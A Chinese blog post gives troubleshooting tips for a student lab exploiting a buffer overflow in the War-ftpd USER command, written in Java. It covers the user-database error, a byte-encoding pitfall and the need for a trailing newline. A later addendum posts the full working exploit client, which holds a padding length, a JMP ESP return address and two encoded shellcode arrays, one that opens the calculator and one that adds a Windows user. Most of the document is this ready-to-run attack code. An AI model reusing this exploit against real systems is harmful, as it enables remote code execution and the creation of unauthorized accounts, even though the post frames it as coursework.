您的位置:首页 > 编程语言 > Java开发

War-ftpd USER longString漏洞攻击之Java实现常见问题

2013-11-07 19:48 549 查看
  发表这篇文章的最重要原因是,在用Java实现War-ftpd缓冲区溢出实验时,我遇到了很多问题,而且我认为这些问题

都是非常不容易发现和解决的,为了以后学习的同学的便利,此处写下自己遇到的问题作为分享。

@1:不管是通过cdb挂起还是通过直接双击打开War-ftpd都会出现“Unknown file format for user database”的弹窗,

解决方法:删除掉FtpDaemon.dat文件。

@2:如果在C:\Documents and Settings\Administrator目录(CMD默认目录)下执行"C:\Program Files\Debugging

Tools for Windows\cdb.exe" "C:\lxw_Exp2\War-ftpd\war-ftpd.exe"命令,则会始终出现(即使是删除掉C:\lxw_E

xp2\War-ftpd \FtpDaemon.dat文件)“Unknown file format for user database”的弹窗。

解决方法:通过绝对路径访问程序(对于通过环境变量调用cdb.exe程序和war-ftpd.exe也会存在这样的问题),

程序运行的一些文件(FtpDaemon.dat文件)会保留在当前目录下(也就是C:\Documents and Settings\Administrator

目录下),所以需要将该目录下的FtpDaemon.dat文件一同删掉。

@3:最初在实现该实验程序部分时,实验能够使War-ftpd发生缓冲区溢出的错误,但EIP和ESP的值在cdb调试时总是会出现

问题,不能够吻合,所以也就无法成功的执行shellCode。如果以String类型的变量存储要发送的字符串,例如:

String str ="USER ";
//攻击代码构建:
//0-484
for(int i = 0; i < 485; ++i)
{
str += (char)0x41;
}
str += (char)0x12;
str += (char)0x45;
str += (char)0xfa;
str += (char)0x7f; //7ffa4512
…
OutputStream os = client.getOutputStream();
os.write(str.getBytes());


则发送的JMP ESP部分的16进制变为5个字节不再是4个字节【这儿一定要注意】。

所以也就导致了JMP ESP地址覆盖到RET不成功,也就导致了虽然War-ftpd成功的溢出,但shellCode却不能被成功的执行。

解决方法:全部的数据(USER + 填充字符 + 0x7ffa4512 + 填充字符 + shellcode + “\r\n”)【直接采用byte数组的

形式】进行发送。

@4:发送的byte数组最后一个字符必须是字符‘\n’对应的byte型数据,否则将不能成功的使shellCode被执行,实际上是连

War-ftpd都没有发生溢出。这个问题比较不容易发现。

-----------------------------------2014.11.22 补充--------------------------------------------------------

  非常高兴这篇博客能够帮到一些同学,在这里把我的代码贴上来,仅供大家参考:

import java.net.* ;
import java.io.* ;
import java.util.Scanner;
public class Client
{
public static void main(String args[]) throws Exception
{
InetAddress inet3 = InetAddress.getLocalHost();
//获得对象中存储的IP
String ipAddr = inet3.getHostAddress();
Socket client = new Socket(ipAddr, 21) ;    //客户端
byte[] be = new byte[1000];

//攻击代码构建:
//0-484
int i = 0;
be[i++] = 'U';
be[i++] = 'S';
be[i++] = 'E';
be[i++] = 'R';
be[i++] = ' ';

for(i = 5; i < 490; ++i)
{
be[i] = 'A';
}

be[i++] = (byte)0x12;
be[i++] = (byte)0x45;
be[i++] = (byte)0xfa;
be[i++] = (byte)0x7f;         //0x7ffa4512

for(int j = 0; j < 4; ++j)
{
be[i++] = 'B';
}

//打开计算器的shellCode
byte ch1[] =
{
(byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x58,(byte)0x45,(byte)0x34,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x37,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x31,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x45,(byte)0x42,(byte)0x52,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x54,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x53,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x30,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x59,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x53,(byte)0x46,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x37,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x46,(byte)0x4b,(byte)0x38,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x41,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x35,(byte)0x46,(byte)0x52,(byte)0x46,(byte)0x50,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x56,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x34,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x37,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x54,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x31,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x48,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x48,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x36,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x55,(byte)0x41,(byte)0x53,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x46,(byte)0x48,(byte)0x45,(byte)0x49,(byte)0x48,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x58,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x55,(byte)0x4a,(byte)0x56,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x46,(byte)0x30,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x55,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x56,(byte)0x41,(byte)0x46,(byte)0x4e,(byte)0x36,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x30,(byte)0x5a
};

//创建新用户的shellcode
byte ch2[] =
{
(byte)0xeb,(byte)0x03,(byte)0x59,(byte)0xeb,(byte)0x05,(byte)0xe8,(byte)0xf8,(byte)0xff,(byte)0xff,(byte)0xff,(byte)0x4f,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x49,(byte)0x51,(byte)0x5a,(byte)0x56,(byte)0x54,(byte)0x58,(byte)0x36,(byte)0x33,(byte)0x30,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x41,(byte)0x30,(byte)0x42,(byte)0x36,(byte)0x48,(byte)0x48,(byte)0x30,(byte)0x42,(byte)0x33,(byte)0x30,(byte)0x42,(byte)0x43,(byte)0x56,(byte)0x58,(byte)0x32,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x48,(byte)0x34,(byte)0x41,(byte)0x32,(byte)0x41,(byte)0x44,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x54,(byte)0x42,(byte)0x44,(byte)0x51,(byte)0x42,(byte)0x30,(byte)0x41,(byte)0x44,(byte)0x41,(byte)0x56,(byte)0x58,(byte)0x34,(byte)0x5a,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x4a,(byte)0x4f,(byte)0x4d,(byte)0x4e,(byte)0x4f,(byte)0x4a,(byte)0x4e,(byte)0x46,(byte)0x54,(byte)0x42,(byte)0x50,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x4b,(byte)0x38,(byte)0x45,(byte)0x54,(byte)0x4e,(byte)0x33,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x57,(byte)0x45,(byte)0x30,(byte)0x4a,(byte)0x57,(byte)0x41,(byte)0x30,(byte)0x4f,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x44,(byte)0x4a,(byte)0x51,(byte)0x4b,(byte)0x38,(byte)0x4f,(byte)0x35,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x44,(byte)0x4b,(byte)0x38,(byte)0x46,(byte)0x43,(byte)0x4b,(byte)0x48,(byte)0x41,(byte)0x50,(byte)0x50,(byte)0x4e,(byte)0x41,(byte)0x33,(byte)0x42,(byte)0x4c,(byte)0x49,(byte)0x39,(byte)0x4e,(byte)0x4a,(byte)0x46,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x47,(byte)0x47,(byte)0x30,(byte)0x41,(byte)0x4c,(byte)0x4c,(byte)0x4c,(byte)0x4d,(byte)0x30,(byte)0x41,(byte)0x30,(byte)0x44,(byte)0x4c,(byte)0x4b,(byte)0x4e,(byte)0x46,(byte)0x4f,(byte)0x4b,(byte)0x33,(byte)0x46,(byte)0x55,(byte)0x46,(byte)0x32,(byte)0x46,(byte)0x50,(byte)0x45,(byte)0x47,(byte)0x45,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4f,(byte)0x45,(byte)0x46,(byte)0x32,(byte)0x41,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x48,(byte)0x36,(byte)0x4b,(byte)0x48,(byte)0x4e,(byte)0x30,(byte)0x4b,(byte)0x44,(byte)0x4b,(byte)0x48,(byte)0x4f,(byte)0x45,(byte)0x4e,(byte)0x51,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x4b,(byte)0x58,(byte)0x4e,(byte)0x51,(byte)0x4b,(byte)0x58,(byte)0x41,(byte)0x30,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x48,(byte)0x4e,(byte)0x45,(byte)0x46,(byte)0x42,(byte)0x46,(byte)0x30,(byte)0x43,(byte)0x4c,(byte)0x41,(byte)0x43,(byte)0x42,(byte)0x4c,(byte)0x46,(byte)0x36,(byte)0x4b,(byte)0x38,(byte)0x42,(byte)0x44,(byte)0x42,(byte)0x53,(byte)0x45,(byte)0x48,(byte)0x42,(byte)0x4c,(byte)0x4a,(byte)0x47,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x48,(byte)0x42,(byte)0x34,(byte)0x4e,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x37,(byte)0x4e,(byte)0x41,(byte)0x4d,(byte)0x4a,(byte)0x4b,(byte)0x58,(byte)0x4a,(byte)0x36,(byte)0x4a,(byte)0x50,(byte)0x4b,(byte)0x4e,(byte)0x49,(byte)0x50,(byte)0x4b,(byte)0x58,(byte)0x42,(byte)0x38,(byte)0x42,(byte)0x4b,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x30,(byte)0x42,(byte)0x50,(byte)0x4b,(byte)0x38,(byte)0x4a,(byte)0x46,(byte)0x4e,(byte)0x33,(byte)0x4f,(byte)0x35,(byte)0x41,(byte)0x43,(byte)0x48,(byte)0x4f,(byte)0x42,(byte)0x56,(byte)0x48,(byte)0x35,(byte)0x49,(byte)0x58,(byte)0x4a,(byte)0x4f,(byte)0x43,(byte)0x38,(byte)0x42,(byte)0x4c,(byte)0x4b,(byte)0x37,(byte)0x42,(byte)0x45,(byte)0x4a,(byte)0x46,(byte)0x42,(byte)0x4f,(byte)0x4c,(byte)0x38,(byte)0x46,(byte)0x50,(byte)0x4f,(byte)0x35,(byte)0x4a,(byte)0x46,(byte)0x4a,(byte)0x49,(byte)0x50,(byte)0x4f,(byte)0x4c,(byte)0x58,(byte)0x50,(byte)0x50,(byte)0x47,(byte)0x35,(byte)0x4f,(byte)0x4f,(byte)0x47,(byte)0x4e,(byte)0x43,(byte)0x36,(byte)0x4d,(byte)0x56,(byte)0x46,(byte)0x56,(byte)0x50,(byte)0x52,(byte)0x45,(byte)0x36,(byte)0x4a,(byte)0x57,(byte)0x45,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x43,(byte)0x46,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x56,(byte)0x45,(byte)0x46,(byte)0x46,(byte)0x57,(byte)0x42,(byte)0x42,(byte)0x45,(byte)0x57,(byte)0x43,(byte)0x37,(byte)0x45,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x42,(byte)0x32,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x53,(byte)0x44,(byte)0x56,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x36,(byte)0x42,(byte)0x53,(byte)0x42,(byte)0x43,(byte)0x44,(byte)0x36,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x32,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x42,(byte)0x48,(byte)0x32,(byte)0x48,(byte)0x52,(byte)0x42,(byte)0x52,(byte)0x50,(byte)0x36,(byte)0x45,(byte)0x56,(byte)0x46,(byte)0x47,(byte)0x42,(byte)0x52,(byte)0x4e,(byte)0x56,(byte)0x4f,(byte)0x36,(byte)0x43,(byte)0x36,(byte)0x41,(byte)0x56,(byte)0x4e,(byte)0x56,(byte)0x47,(byte)0x56,(byte)0x44,(byte)0x57,(byte)0x4f,(byte)0x56,(byte)0x45,(byte)0x47,(byte)0x42,(byte)0x37,(byte)0x42,(byte)0x42,(byte)0x41,(byte)0x54,(byte)0x46,(byte)0x46,(byte)0x4d,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x50,(byte)0x56,(byte)0x49,(byte)0x46,(byte)0x43,(byte)0x57,(byte)0x46,(byte)0x57,(byte)0x44,(byte)0x37,(byte)0x41,(byte)0x56,(byte)0x46,(byte)0x37,(byte)0x4f,(byte)0x36,(byte)0x44,(byte)0x57,(byte)0x43,(byte)0x47,(byte)0x42,(byte)0x42,(byte)0x50,(byte)0x46,(byte)0x42,(byte)0x43,(byte)0x42,(byte)0x33,(byte)0x44,(byte)0x46,(byte)0x42,(byte)0x42,(byte)0x4f,(byte)0x52,(byte)0x41,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x46,(byte)0x44,(byte)0x42,(byte)0x30,(byte)0x5a
};

System.out.println("\nWar-ftpd缓冲区溢出攻击开始!\n");
System.out.println("请选择攻击操作:(1.打开计算器\t2.添加用户)\n");
Scanner sc = new Scanner(System.in);
int num = sc.nextInt();
switch(num)
{
case 1:
{
int length = ch1.length;
for(int j = 0; j < length; ++j)
{
be[i++] = ch1[j];
}
}
break;
case 2:
{

int length = ch2.length;
for(int j = 0; j < length; ++j)
{
be[i++] = ch2[j];
}
}
break;
}
be[i++] = '\r';
be[i++] = '\n';
//最终的攻击代码
byte [] b = new byte[i];
for(int j = 0; j < i; ++j)
{
//System.out.print(be[j] + "\t");
b[j] = be[j];
}

OutputStream os = client.getOutputStream();
os.write(b);
os.flush();
os.close();
client.close();
System.out.println("\nWar-ftpd缓冲区溢出攻击结束!\n");
}
};
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: